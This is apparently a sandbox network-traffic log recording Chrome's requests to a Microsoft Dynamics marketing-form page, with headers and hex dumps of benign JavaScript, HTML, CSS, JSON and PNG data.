2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 20 73 2e 74 72 79 73 2e 70 75 73 68 28 5b 32 2c 34 2c 2c 35 5d 29 2c 5b 34 2c 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 74 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 72 65 74 75 72 6e 20 69 5b 61 5d 26 26 69 5b 61 5d 2e 72 65 71 75 65 73 74 65 64 41 74 21 3d 3d 72 3f 6f 2e 74 72 79 52 65 74 72 69 65 76 65 56 61 6c 75 65 28 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 5f 22 29 2e 63 6f 6e 63 61 74 28 74 29 2c 6f 2e 65 78 70 69 72 61 74 69 6f 6e 43 61 63 68 65 2c 69 5b 61 5d 2c 6e 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6e 75 6c 6c 29 7d 29 29 29 5d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 73 2e 73 65 6e 74 28 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 61 5b 74 5b 6e 5d 5d 3d 65 7d Data Ascii: s.trys.push([2,4,,5]),[4,Promise.all(t.map((function(t,a){return i[a]&&i[a].requestedAt!==r?o.tryRetrieveValue("".concat(e,"_").concat(t),o.expirationCache,i[a],n):Promise.resolve(null)})))];case 3:return s.sent().forEach((function(e,n){return a[t[n]]=e}
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 5b 34 2c 74 68 69 73 2e 66 65 74 63 68 47 65 74 28 65 29 5d 3b 63 61 73 65 20 31 3a 69 66 28 21 28 6e 3d 72 2e 73 65 6e 74 28 29 29 2e 6f 6b 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 22 2e 63 6f 6e 63 61 74 28 6e 75 6c 6c 3d 3d 74 3f 22 22 3a 74 2b 22 20 22 2c 22 53 74 61 74 75 73 3a 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 2c 22 20 2d 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 54 65 78 74 29 29 3b 72 65 74 75 72 6e 5b 34 2c 6e 2e 6a 73 6f 6e 28 29 5d 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 5b 32 2c 72 2e 73 65 6e 74 28 29 5d 7d 7d 29 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 50 6f 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: .label){case 0:return[4,this.fetchGet(e)];case 1:if(!(n=r.sent()).ok)throw new Error("".concat(null==t?"":t+" ","Status: ").concat(n.status," - ").concat(n.statusText));return[4,n.json()];case 2:return[2,r.sent()]}}))}))},e.prototype.fetchPost=function(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49726	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:55 UTC	738	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:56 UTC	589	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:56 GMT Content-Type: text/html Content-Length: 30255 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: 42618b0401f5c35cfa60ed6242f73de2 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134255Z-168bb8d798b5v6l944pfnrufyw000000019g00000000ns7s x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 13:42:56 UTC	15795	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
2024-04-24 13:42:56 UTC	14460	IN	Data Raw: 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 66 69 65 6c 64 73 65 74 20 3e 20 64 69 76 2c Data Ascii: } .twoOptionFormFieldBlock div.radiobuttons > div, .twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldBlock fieldset > div,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49729	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:56 UTC	650	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:56 UTC	628	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:56 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: 294103bd-a01e-008e-7dba-95f8d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T134256Z-168bb8d798b4bst68753kwrwcg000000021g0000000054ku x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-24 13:42:56 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49730	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:56 UTC	713	OUT	GET /favicon.ico HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:56 UTC	313	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 13:42:56 GMT Content-Type: text/html Content-Length: 548 Connection: close Strict-Transport-Security: max-age=2592000; preload x-azure-ref: 20240424T134256Z-168bb8d798bbqgrcawqpfu2sb800000005t000000000faht x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS
2024-04-24 13:42:56 UTC	548	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49731	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:56 UTC	668	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:58 UTC	484	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:58 GMT Content-Type: image/png Content-Length: 40703 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 8694626b0604c5c54a1d7662a3854aeb Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134257Z-168bb8d798bb9jsgq25rvu9gk800000000ng00000000kyd8 Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 13:42:58 UTC	15900	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ca 00 00 01 1e 08 06 00 00 00 93 d1 33 e4 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR3=iCCPICC ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xg*p+^O\|,V
2024-04-24 13:42:58 UTC	16384	IN	Data Raw: 7d 22 30 59 04 6a a2 6c 27 2b 4b 22 90 08 24 02 89 c0 dc 41 60 ce 11 65 f9 54 6e 10 b1 da 97 66 e0 e6 a9 78 44 da dc 81 2d 7b b2 b8 22 10 5b d2 b6 05 e5 46 47 d4 74 71 1d 4f f6 7b f1 47 40 54 d3 0d 66 d2 35 e2 b1 98 8b ff a8 72 04 89 40 22 90 08 cc 0f 04 e6 14 51 9e 1f 90 e6 28 12 81 44 20 11 48 04 12 81 44 20 11 48 04 e6 03 02 49 94 e7 c3 2c e6 18 12 81 44 20 11 48 04 12 81 44 20 11 48 04 a6 1d 81 24 ca d3 0e 69 56 98 08 24 02 89 40 22 90 08 24 02 89 40 22 30 1f 10 48 a2 3c 1f 66 31 c7 90 08 24 02 89 40 22 90 08 24 02 89 40 22 30 ed 08 24 51 9e 76 48 b3 c2 44 20 11 48 04 12 81 44 20 11 48 04 12 81 f9 80 40 12 e5 f9 30 8b 39 86 44 20 11 48 04 12 81 44 20 11 48 04 12 81 69 47 20 89 f2 b4 43 9a 15 26 02 89 40 22 90 08 24 02 89 40 22 90 08 cc 07 04 92 28 cf Data Ascii: }"0Yjl'+K"$A`eTnfxD-{"[FGtqO{G@Tf5r@"Q(D HD HI,D HD H$iV$@"$@"0H<f1$@"$@"0$QvHD HD H@09D HD HiG C&@"$@"(
2024-04-24 13:42:58 UTC	8419	IN	Data Raw: c3 0d 37 98 c0 25 16 ce c3 1f fe b9 8e 6e e2 e4 93 4f 0e 8d 1a 35 8a be 94 a3 bf 07 0e 1c 18 ce 3c f3 cc 70 d4 51 47 e5 68 f9 ed b1 10 df 43 48 5f b3 66 cd 62 37 8f 54 de 71 c7 1d a1 65 cb 96 c1 fb 02 11 bd fd f6 db c3 d1 47 1f 1d ce 3e fb ec c4 7a 83 06 0d 0a 7c 87 d5 af 5f df 5e 7b f3 cd 37 c3 bb ef be 1b 3a 74 e8 10 2a 54 a8 90 58 2e f9 0f 5f ce 3f 8b 17 5e 78 61 38 ec b0 c3 6c 31 c6 f2 0f 3f fc 60 52 8b 74 b6 6b d7 ce 02 0a bc c9 77 0e 13 7a ea cf 77 4e c7 8e 1d 4d a6 11 67 c6 52 b4 f0 5e f9 f2 e5 c3 ec d9 b3 03 6d 46 de 09 64 1c 70 c0 01 e1 d2 4b 2f dd 6a b2 33 67 ce 9c f0 e4 93 4f 86 1b 6f bc 31 ba 19 7b 8d ef 6b 26 72 ec 67 d4 a8 51 81 cf 94 7f ef c1 11 06 5e bc 6d d9 31 f0 e5 f5 5b 04 44 40 04 76 16 02 69 13 65 1a dc bb 77 ef 50 b2 64 c9 44 db 5d Data Ascii: 7%nO5<pQGhCH_fb7TqeG>z\|_^{7:t*TX._?^xa8l1?`RtkwzwNMgR^mFdpK/j3gOo1{k&rgQ^m1[D@viewPdD]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49733	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:57 UTC	668	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:58 UTC	484	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:58 GMT Content-Type: image/png Content-Length: 47204 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 5d37dc350265dfcba2bd3bf81451371e Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134257Z-168bb8d798bxw8g2q846ctnvy000000005hg00000000uf3m Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 13:42:58 UTC	15900	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 2a 00 00 01 14 08 06 00 00 00 c4 26 c2 33 00 00 0c 3d 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 21 b4 00 02 52 42 6f 82 88 94 00 52 42 68 a1 77 04 51 09 49 80 50 62 0c 04 15 3b ba a8 e0 da c5 02 36 74 55 44 c1 0a 88 05 45 ec 2c 8a bd 2f 16 14 94 75 b1 60 57 de a4 80 ae fb ca f7 ce f7 cd bd ff fd e7 cc 7f ce 9c 3b b7 0c 00 ea 27 b8 62 71 2e aa 01 40 9e a8 40 12 1b ec cf 18 9b 9c c2 20 75 03 04 a0 00 03 04 40 e6 f2 f2 c5 ac e8 e8 70 00 6d f0 fc 77 7b 77 03 7a 43 bb ea 20 d3 fa 67 ff 7f 35 4d be 20 9f 07 00 12 0d 71 3a 3f 9f 97 07 f1 41 00 f0 4a 9e 58 52 00 00 51 c6 9b 4f 29 10 cb 30 6c 40 5b 02 13 84 78 a1 0c 67 2a 70 a5 0c a7 2b f0 5e b9 4f 7c 2c 1b e2 56 Data Ascii: PNGIHDR&3=iCCPICC ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xgp+^O\|,V
2024-04-24 13:42:58 UTC	16384	IN	Data Raw: 43 87 c6 ec f3 6d 0c 1a 34 48 ce 3f ff fc 98 43 98 1c 8c 1b 37 2e 66 5f 6e 6d 50 a8 e4 16 49 96 43 02 79 93 c0 e6 cd 9b e5 f9 e7 9f 97 87 1f 7e d8 08 93 74 7a 71 d9 65 97 49 ef de bd a5 5e bd 7a e9 64 cf 33 79 60 5d c6 4d a5 ec a4 86 0d 1b 0a 7e 1f 20 e0 da b4 69 23 15 2a 54 c8 ce e9 d9 ce 3b 73 e6 4c d9 7f ff fd e3 ce fb f1 c7 1f e5 c8 23 8f 8c db cf 1d 24 40 02 39 27 40 a1 92 73 76 3c 73 0f 12 e8 df bf bf 74 ee dc 39 ae 06 dc 6d c3 dd b4 64 09 d6 08 dc 6d f3 a5 ed db b7 4b e1 c2 85 7d 87 a2 fb 6e ba e9 26 f9 df ff fe 17 dd c6 9b fb ef bf 5f 7a f6 ec 19 b3 2f b7 36 28 54 72 8b 64 38 cb c9 ca ca 92 09 13 26 98 09 4c c1 82 05 c3 d9 48 b6 6a af 11 18 31 62 84 5c 72 c9 25 69 0b 14 b7 a1 10 37 dd bb 77 77 77 e7 d9 ed 9c 08 15 b7 b3 10 2d 2f bc f0 82 c0 8d 76 Data Ascii: Cm4H?C7.f_nmPICy~tzqeI^zd3y`]M~ i#*T;sL#$@9'@sv<st9mdmK}n&_z/6(Trd8&LHj1b\r%i7www-/v
2024-04-24 13:42:59 UTC	14920	IN	Data Raw: ca 84 16 e3 08 72 ca 7d 55 60 65 dd 8e 8b e8 09 9c 4d e2 b8 57 90 a3 82 23 a3 95 67 95 89 3e b7 bb 1f e8 0f bc d3 84 95 68 a4 57 74 bf b5 31 28 53 db 47 ed 07 2f ca e4 3d d5 df d0 af 2b 2b 29 2f e3 e1 79 dc 38 2a 16 0c 94 0f ca c0 ce ca da f7 23 b9 c7 88 62 c0 a0 0c 84 7e bc 07 84 8b 55 0b 66 73 b5 4c da 0f cf d4 15 83 90 83 dc 4d e9 a8 c3 54 39 48 cc 82 c0 6b 55 3a 78 81 0f 0c 9a 41 05 0d 62 32 06 30 b2 51 34 76 1b 58 ae ac 91 c8 03 c6 19 46 22 65 59 c7 23 2d 07 bc c1 9e 74 55 fc a4 79 cb 9e 31 dc c0 70 90 81 99 1c f6 8e 37 91 0f ea fd 58 fc 5d 15 78 b1 2b 9e 39 be e0 99 cf 39 5b a3 36 97 8e 38 d2 c0 0b 86 4a d3 50 57 d6 99 dd b2 5b cc 6c 39 18 19 4c 4c 30 70 f7 1b 68 73 3b db 5b 46 87 fe 42 bf 11 7e 3a a3 42 fd d3 00 de c8 35 0e 6b 3f d8 f4 aa 73 5a 56 Data Ascii: r}U`eMW#g>hWt1(SG/=++)/y8*#b~UfsLMT9HkU:xAb20Q4vXF"eY#-tUy1p7X]x+99[68JPW[l9LL0phs;[FB~:B5k?sZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49734	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:57 UTC	444	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:57 UTC	609	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:57 GMT Content-Type: text/html Content-Length: 30255 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: 42618b0401f5c35cfa60ed6242f73de2 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134257Z-168bb8d798b22pnzt0dbur5w6s00000001e000000000b8r1 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 13:42:57 UTC	15775	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
2024-04-24 13:42:57 UTC	14480	IN	Data Raw: 67 69 6e 2d 74 6f 70 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 Data Ascii: gin-top: 16px; } .twoOptionFormFieldBlock div.radiobuttons > div, 